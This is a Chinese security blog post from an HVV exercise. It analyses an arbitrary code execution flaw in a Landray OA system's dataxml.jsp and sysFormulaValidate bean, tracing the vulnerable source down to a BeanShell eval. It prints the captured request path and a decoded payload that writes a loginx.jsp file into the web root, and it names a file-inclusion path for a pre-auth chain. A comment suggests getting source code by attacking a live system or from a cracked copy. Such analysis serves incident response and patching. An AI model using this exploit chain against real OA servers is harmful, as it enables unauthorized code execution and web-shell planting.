HVV行动之某OA流量应急(二)
HVV行动之某OA流量应急(一):
https://www.anquanke.com/post/id/239865
蹭一波水哥的热度 OA还得看水系群友。
Author: Yuanhai@Pentes7eam
某凌OA任意代码执行
先看一下捕获到的POC:
/sys/common/dataxml.jsp?s_bean=sysFormulaValidate&script=<payload>&type=int&modelName=test
漏洞出现在/sys/common/dataxml.jsp
下。
同样类型还有一个sys/common/datajson.jsp
代码:
<%@ page language="java" contentType="application/x-javascript; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page errorPage="/resource/jsp/jsperror.jsp" %>
<%@ page import="org.springframework.context.ApplicationContext,
org.springframework.web.context.support.WebApplicationContextUtils,
com.landray.kmss.common.service.IXMLDataBean,
com.landray.kmss.common.actions.RequestContext,
com.landray.kmss.util.StringUtil,
java.util.*
"%>
<%@page import="net.sf.json.JSONObject"%>
<%@page import="net.sf.json.JSONArray"%>
<%
response.setHeader("Cache-Control", "no-cache");
response.setHeader("Pragma", "no-cache");
response.setDateHeader("Expires", -1);
ApplicationContext ctx = WebApplicationContextUtils.getRequiredWebApplicationContext(session.getServletContext());
RequestContext requestInfo = new RequestContext(request);
String[] beanList = request.getParameter("s_bean").split(";");
IXMLDataBean treeBean;
List result = null;
HashMap nodeMap;
Object node;
Object[] nodeList;
Iterator attr;
for(int i=0; i<beanList.length; i++){
treeBean = (IXMLDataBean) ctx.getBean(beanList[i]);
result = treeBean.getDataList(requestInfo);
if(result!=null){
JSONArray jsonArray=new JSONArray();
for (Iterator iterator = result.iterator(); iterator.hasNext();) {
node = iterator.next();
if(node instanceof HashMap){
Map<String, Object> parseObj =(Map<String, Object>)node;
JSONObject json=new JSONObject();
for(String key1 : parseObj.keySet()){
Object value1=parseObj.get(key1);
json.accumulate(key1, value1);
}
jsonArray.add(json);
}else if(node instanceof Object[]){
nodeList = (Object[])node;
JSONObject json=new JSONObject();
for(int k=0; k<nodeList.length; k++){
if(nodeList[k]!=null){
String key2 = "key"+k;
Object value2 = nodeList[k];
json.accumulate(key2, value2);
}
}
jsonArray.add(json);
}else{
if(node!=null){
JSONObject json=new JSONObject();
String key3 = "key0";
Object value3 = node;
json.accumulate(key3, value3);
jsonArray.add(json);
}
}
}
out.print(request.getParameter("jsoncallback")+"("+jsonArray.toString()+")");
}
}
%>
request.getParameter("s_bean").split(";");
接收一个参数。s_bean
,然后以;
进行分割传给beanList
.往下走,看程序是如何处理beanList
的值。
第27行中,循环beanList
的值。传递给ctx.getBean()
方法。到这里大概就明白了,beanList
的值是beanId
,后面通过getBean()
实例化JavaBean
。
result = treeBean.getDataList(requestInfo);
treeBean
是JavaBean
实例化后的对象名。后调用getDataList
方法。并传递一个RequestContext
进去。
说白了就是任意Bean调用
但是必须含有getDataList
方法且需实现IXMLDataBean
接口
捕获到的数据流中,s_bean
的值为sysFormulaValidate
.根据配置文件。sysFormulaValidate
所对应的类为com.landray.kmss.sys.formula.web.SysFormulaValidate
查看getDataList
方法
public List getDataList(RequestContext requestInfo) throws Exception {
List<Map<Object, Object>> rtnVal = new ArrayList();
Map<Object, Object> node = new HashMap<Object, Object>();
String msg = null;
String confirm = null;
try {
String script = requestInfo.getParameter("script");
String type = requestInfo.getParameter("returnType");
String funcs = requestInfo.getParameter("funcs");
String model = requestInfo.getParameter("model");
FormulaParser parser = FormulaParser.getInstance(requestInfo,
new ValidateVarGetter(null), model);
if (StringUtil.isNotNull(funcs)) {
String[] funcArr = funcs.split(";");
for (int i = 0; i < funcArr.length; i++)
parser.addPropertiesFunc(funcArr[i]);
}
Object value = parser.parseValueScript(script, type);
if (value == null) {
msg = "validate.nullValue";
confirm = "validate.confirm.nullValueConfirm";
node.put("success", "0");
} else {
msg = "validate.success";
node.put("success", "1");
}
} catch (Exception e) {
if (e instanceof com.landray.kmss.sys.metadata.exception.KmssUnExpectTypeException) {
msg = "validate.failure.rtnTypeError";
logger.debug(e);
node.put("success", "-1");
} else if (e instanceof com.landray.kmss.sys.formula.exception.EvalException) {
msg = "validate.failure.evalError";
confirm = "validate.failure.evalErrorConfirm";
logger.debug(e);
node.put("success", "0");
} else {
msg = "validate.failure";
logger.error(e);
node.put("success", "-1");
}
}
node.put("message",
ResourceUtil.getString(msg, "sys-formula", requestInfo.getLocale()));
if (confirm != null)
node.put("confirm",
ResourceUtil.getString(confirm, "sys-formula", requestInfo.getLocale()));
rtnVal.add(node);
return rtnVal;
}
}
问题主要在于FormulaParser
下的parseValueScript
方法。
Object value = parser.parseValueScript(script, type);
public Object parseValueScript(String script) throws EvalException {
if (StringUtil.isNull(script))
return null;
Interpreter interpreter = new Interpreter();
ClassLoader loader = Thread.currentThread().getContextClassLoader();
try {
if (loader != null)
interpreter.setClassLoader(loader);
StringBuffer importPart = new StringBuffer();
importPart.append("import ").append(
OtherFunction.class.getPackage().getName()).append(
".*;\r\n");
StringBuffer preparePart = new StringBuffer();
StringBuffer leftScript = new StringBuffer();
String rightScript = script.trim();
Map<String, FunctionScript> funcScriptMap = new HashMap<String, FunctionScript>();
for (int index = rightScript.indexOf("$"); index > -1; index = rightScript
.indexOf("$")) {
int nxtIndex = rightScript.indexOf("$",
index + 1);
if (nxtIndex == -1)
break;
String varName = rightScript.substring(index + 1, nxtIndex);
leftScript.append(rightScript.substring(0, index));
rightScript = rightScript.substring(nxtIndex + 1);
if (rightScript.length() > 0 && rightScript.charAt(0) == '(') {
FunctionScript funcScript = funcScriptMap.get(varName);
if (funcScript == null)
for (int i = 0; i < this.funcProviderList.size(); i++) {
funcScript = ((IFormulaFuncProvider)this.funcProviderList.get(i))
.getFunctionScript(varName);
if (funcScript != null) {
funcScriptMap.put(varName, funcScript);
if (StringUtil.isNotNull(funcScript
.getPrepareScript()))
preparePart.append(
funcScript.getPrepareScript())
.append("\r\n");
break;
}
}
if (funcScript == null)
throw new FuncNotFoundException(varName);
leftScript.append(funcScript.getFunctionScript());
} else {
leftScript.append("$").append(varName)
.append("$");
if (this.varProvider == null)
throw new VarNotFoundException(varName);
Object value = this.varProvider.getValue(this.contextData, varName);
interpreter.set("$" + varName +
"$", value);
}
}
String m_script = String.valueOf(importPart.toString()) + preparePart.toString() +
leftScript + rightScript;
if (logger.isDebugEnabled())
logger.debug("+ m_script);
runningData.set(this.contextData);
return interpreter.eval(m_script);
} catch (TargetError targetError) {
logger.error("+ script, (Throwable)targetError);
throw new EvalException(targetError.getTarget());
} catch (Exception e) {
logger.error("+ script, e);
throw new EvalException(e);
} finally {
runningData.remove();
if (loader != null)
interpreter.setClassLoader(null);
}
}
在方法中:
第二行就实例了interpreter
对象
Interpreter interpreter = new Interpreter();
看到这一串,基本就可以确定是代码执行了,就是Bsh,(泛微,用友都爆过类似的),只需要寻找eval()
方法,看看执行的内容。
向上回溯m_script
变量。
String m_script = String.valueOf(importPart.toString()) + preparePart.toString() +
leftScript + rightScript;
m_script
是由importPart
,preparePart
,leftScript
,rightScript
.4个变量的值拼接而成。
回到getDataList
中:
接收4个变量script
,returnType
,funcs
,model
String script = requestInfo.getParameter("script");
String type = requestInfo.getParameter("returnType");
String funcs = requestInfo.getParameter("funcs");
String model = requestInfo.getParameter("model");
在下面调用parseValueScript
中,只需要script
和type
.这里script
是可控的。
在for循环中,只要script
中不出现$符号。就可以跳过部分截断,致使preparePart
和leftScript
的内容为空,后面就是直接带入rightScript=script
执行.导致任意代码执行
for (int index = rightScript.indexOf("$"); index > -1; index = rightScript
.indexOf("$")) {
看了下捕获到的POC:
解码后的内容就是:
import java.lang.*;
import java.io.*;Class cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.Interpreter");
String path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();
File f=new File(path.split("WEB-INF")[0]+"/loginx.jsp");
f.createNewFile();
FileOutputStream fout=new FileOutputStream(f);
fout.write(new sun.misc.BASE64Decoder().decodeBuffer("aGVsbG8="));
fout.close()
大概意思就是。先加载bsh.Interpreter
.在获取当前类所在的路径。然后以WEB-INF
进行分割。取第一个值(也就是网站根目录)。在下面创建一个loginx.jsp.然后写入内容。
访问loginx.jsp
并不会302,因为其白名单中存在login*.jsp
简化一下:本地跑一遍
import bsh.EvalError;
import bsh.Interpreter;
import java.util.HashMap;
import java.util.Map;
public class main {
public static void main(String[] args) throws EvalError, ClassNotFoundException {
Interpreter interpreter=new Interpreter();
String payload="import java.lang.*;\n" +
"import java.io.*; "+
"File f=new File(\"/Users/yuanhai/Desktop/test/test/1.txt\");\n" +
"f.createNewFile();\n" +
"FileOutputStream fout=new FileOutputStream(f);\n" +
"fout.write(new sun.misc.BASE64Decoder().decodeBuffer(\"aGVsbG8=\"));\n"+
"fout.close()";
interpreter.eval(payload);
}
}
其实这个洞是后台的,需要已登陆账户去调用才可。
但是结合先前的文件包含:/sys/ui/extend/varkind/custom.jsp
可以打前台RCE。
厂商已发布版本补丁完成修复,建议用户尽快更新至最新版本
请教一下师傅这类OA的源码都是在哪里找的呢?一般在官网申请试用的话会比较麻烦,网上的破解版也大多是捆绑程序。
@Pnllll 黑盒打一个,然后扒下来。有破解版安装过后拿了源码卸载就行
@yuanhai 感谢师傅指点。